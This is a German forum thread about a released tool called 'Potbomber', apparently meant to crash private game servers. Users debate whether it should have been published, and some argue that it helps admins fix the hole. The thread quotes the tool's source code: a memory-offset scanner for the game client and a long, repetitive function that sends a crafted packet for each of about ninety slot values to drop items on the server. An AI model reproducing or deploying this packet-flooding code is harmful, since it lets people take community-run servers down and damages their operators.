[ Potbomber Release ]

~~£αšεℜ™~~ · 02/28/2012, 10:58

Auch wenn es fixxes dagegen gibt solche tools sollte man nicht pub machen denn ich dachte wir sind eine com die für server sind und nicht gegen server. Ich finde es toll das du was mit uns teilst aber dann mach was andere tools die server helfen und nicht versuchen down zulegen.

Mfg

~~Lеlouch~~ · 02/28/2012, 11:00

Quote:

Originally Posted by £αšεℜ™

Auch wenn es fixxes dagegen gibt solche tools sollte man nicht pub machen denn ich dachte wir sind eine com die für server sind und nicht gegen server. Ich finde es toll das du was mit uns teilst aber dann mach was andere tools die server helfen und nicht versuchen down zulegen.

Mfg

Ich bin gaaaanz deiner Meinung.
Ich finde selbst, wir sollten dafür stehen, welche zu Helfen, seinen Server
richtig zu konfigurieren und solala. Aber nicht jemanden Helfen, die andere
sein Server downen. Trotzdem danke für dein Release.

[SA]KiLLeD · 02/28/2012, 13:19

Danke für dein Release, jetzt werde ich Server downen, nein ganz ehrlich, was soll der scheiß?

Luki · 02/28/2012, 13:20

Jetzt gibts noch mehr kiddy´s die einfach mal Server Downen weil sie lange weile haben .....

~~£αšεℜ™~~ · 02/28/2012, 13:36

Quote:

Originally Posted by DaRealFreak

dass ich das ganze rausgefunden habe und schon lange ein tool dafür publiziert habe juckt mal wieder keinen :<

Und ja, die pserver sollen doch einfach fast alle down gehen xD

Keiner hat es verdient hinter jedem 08/15 server steckt auch arbeit. Die guten server haben ein fixx den eig auch kleine server haben müssten da er einfach ist trotzdem hat es keiner verdient

~LuckyStrike~ · 02/28/2012, 13:42

Buhyaa bei mir geht nichts mit Pythonloader oder Injects nichtmal OllyDBG > Attach o.o <3

Mashkin · 02/28/2012, 14:56

Quote:

Originally Posted by cReez'

Ich bin gaaaanz deiner Meinung.
Ich finde selbst, wir sollten dafür stehen, welche zu Helfen, seinen Server
richtig zu konfigurieren und solala. Aber nicht jemanden Helfen, die andere
sein Server downen. Trotzdem danke für dein Release.

Meinst du es wäre besser, wenn nur ein Paar 1337-Haxx0r aus der UG oder so alle andern platt machen würden und niemand wüsste wie?

So kann man sich wenigstens überlegen, wie man dagegen vorgeht.
Außerdem gibt es eh viel zu viele Server.

xCPx · 02/28/2012, 14:59

@ Infi: danke dass du den Source mitlieferst.

@ Rest, der hier gerade flamed:

Hallo? Infi hat den Source mitgegeben, da steht drinne nach was für funktionen der sucht?
Also hört auf zu flamen und ändert die funcs einfach ab?
oder ändert server und clientside einfach das paket, dass pots fallen lässt?

Code:

bool ScanForOffsets()
{
    DWORD Base = 0x00400000;
    DWORD SizeOfCode;

    DWORD i = Base;
    while ((memcmp((void *)i, "PE\0\0", 4)) && (i <= Base + 0x1000))
        i++;

    if (i <= Base + 0x1000)
        SizeOfCode = *(DWORD *)(i + 0x1C);


    BYTE Signature1[] = { 0x8B, 0x0D, 0xF4, 0x1C, 0x5F, 0x00, 0x52, 0x50, 0xE8, 0x67,
                          0x60, 0x00, 0x00, 0xE8, 0x12, 0x7B, 0x12, 0x00, 0x5E};


    BYTE Signature2[] = { 0x8B, 0xC1, 0x8B, 0x50, 0x38, 0x8B, 0x48, 0x34, 0x53, 0x8B,
                          0x5C, 0x24, 0x08, 0x2B, 0xCA, 0x3B, 0xD9};

    BYTE Signature3[] = { 0xC2, 0x04, 0x00, 0x8B, 0xCE, 0xE8, 0xB2, 0xCE, 0x0D, 0x00,
                          0x5E};

    BYTE Signature4[] = { 0x83, 0xEC, 0x08, 0x56, 0x8B, 0xF1, 0x8D, 0x44, 0x24, 0x04,
                          0x50, 0x8D, 0x4C, 0x24, 0x0C, 0x51};

    BYTE Signature5[] = { 0x8B, 0x44, 0x24, 0x04, 0x89, 0x81, 0x9C, 0x04, 0x00, 0x00,
                          0xC2, 0x04, 0x00};


    Offset1 = *(DWORD *)(dwFindPattern(Base + 0x1000, SizeOfCode, Signature1, "xx????***????x????x") + 2);
    Offset2 = dwFindPattern(Base + 0x1000, SizeOfCode, Signature2, "xxxxxxxxxxxxxxxxx");
    DWORD Offset3_Address = (dwFindPattern(Base + 0x1000, SizeOfCode, Signature3, "xxxxxx????x") + 6);
    Offset3 = reinterpret_cast<DWORD>(GetCallDest((DWORD *)(Offset3_Address - 1)));
    Offset4 = dwFindPattern(Base + 0x1000, SizeOfCode, Signature4, "xxxxxxxxxxxxxxxx");
    Offset5 = dwFindPattern(Base + 0x1000, SizeOfCode, Signature5, "xxxxxxxxxxxxx") + 4;


    if ((Offset1))
        return true;
    else
        return false;
}

schaut euch einfach mal das an und wer dann nicht blickt, was er ändern muss, der gehört gehaut xD

~LuckyStrike~ · 02/28/2012, 15:26

Ja xCPx du Superchecker

@Topic
Wie jeder weiß wenn infi was pubbt was schaden bringt
gibts meist dazu auch einen offensichtlichen Fixx.

~~.Awesoome~~ · 02/28/2012, 16:49

Ich finde das Teil jetz nicht so..

Ich werde nach wie vor das Tool von Steffi benutzen , da ich das besser finde, und wenn man weiß wie man das richtig benutzt kann man den gleichen Effekt rausholen. Außerdem kommt es von Steffi :>

.SkyneT. · 02/28/2012, 16:51

Code:

system("title Potbomber by .Infinity");

Mhm ....

Trotzdem nett, das es den Source dazu gibt

xShizoidx · 02/28/2012, 18:30

Danke für Tool, werde es zwar nicht benutzen, aber finde es trotzdem gut, wenn Leute solche Sachen releasen, da damit auch wieder Sicherheitslücken entdeckt werden und diese gefixxt werden können.

Eine kleine Frage habe ich aber mal. Wieso hast du dort :

Quote:

Originally Posted by .Infinity

[/PHP]
void potbomb()
{
if(potbomby == TRUE){
if(TRUE){
unsigned char buf[] = {0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x03, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x04, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x05, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x06, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x07, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x08, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x09, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x0D, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x0E, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x10, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x11, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x12, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x13, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x14, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x15, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x16, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x17, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x18, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x19, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x1A, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x1B, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x1D, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x1E, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x20, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x21, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x22, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x23, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x24, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x25, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x26, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x27, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x28, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x29, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x2A, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x2B, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x2C, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x2D, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x2E, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x2F, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x30, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x31, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x32, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x33, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x34, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x35, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x36, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x37, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x38, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x39, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x3A, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x3B, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x3C, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x3D, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x3E, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x3F, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x40, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x41, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x42, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x43, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x44, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x45, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x46, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x47, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x48, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x49, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x4A, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x4B, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x4C, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x4D, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x4E, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x4F, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x50, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x51, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x52, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x53, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x54, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x55, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x56, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x57, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x58, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x59, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
if(TRUE){
unsigned char buf[] = {0x14, 0x5A, 0x00, 0x00, 0x00, 0x00, 0x01};
int size = sizeof(buf);
SendPacket(buf, size);
delete [] buf;
}
}
}
[/php]

kein Array benutzt? Würde etwas professioneller meiner Meinung nach aussehen. Habe Phyton zwar nicht nicht gelernt, aber normalerweise verwendet man ja vielen Sprachen bei solchen Angelegenheit ein Array.

xCPx · 02/28/2012, 18:57

Quote:

Originally Posted by netterwurm8

Danke für Tool, werde es zwar nicht benutzen, aber finde es trotzdem gut, wenn Leute solche Sachen releasen, da damit auch wieder Sicherheitslücken entdeckt werden und diese gefixxt werden können.

Eine kleine Frage habe ich aber mal. Wieso hast du dort :

kein Array benutzt? Würde etwas professioneller meiner Meinung nach aussehen. Habe Phyton zwar nicht nicht gelernt, aber normalerweise verwendet man ja vielen Sprachen bei solchen Angelegenheit ein Array.

nurso:
das ist kein python soweit ich es sehe ist es simples C
kann mich aber auch irren, habs mir nicht genau angeschaut

Teh Daroo · 02/28/2012, 19:07

Quote:

Originally Posted by xCPx

nurso:
das ist kein python soweit ich es sehe ist es simples C
kann mich aber auch irren, habs mir nicht genau angeschaut

nurso:
das ist kein c soweit ich es sehe ist es C++
kann mich auch nicht irren, habs mir genauer angeschaut

Padmak · 02/28/2012, 19:37

@netterwurm8:
Oh ja, der Code ist grässlich!

@Teh Daroo:
Natürlich hat der, der xCPx widersprochen hat, wieder mal Recht

Ist zwar ca. hälfte/hälfte, reicht aber für's Recht haben

Padmak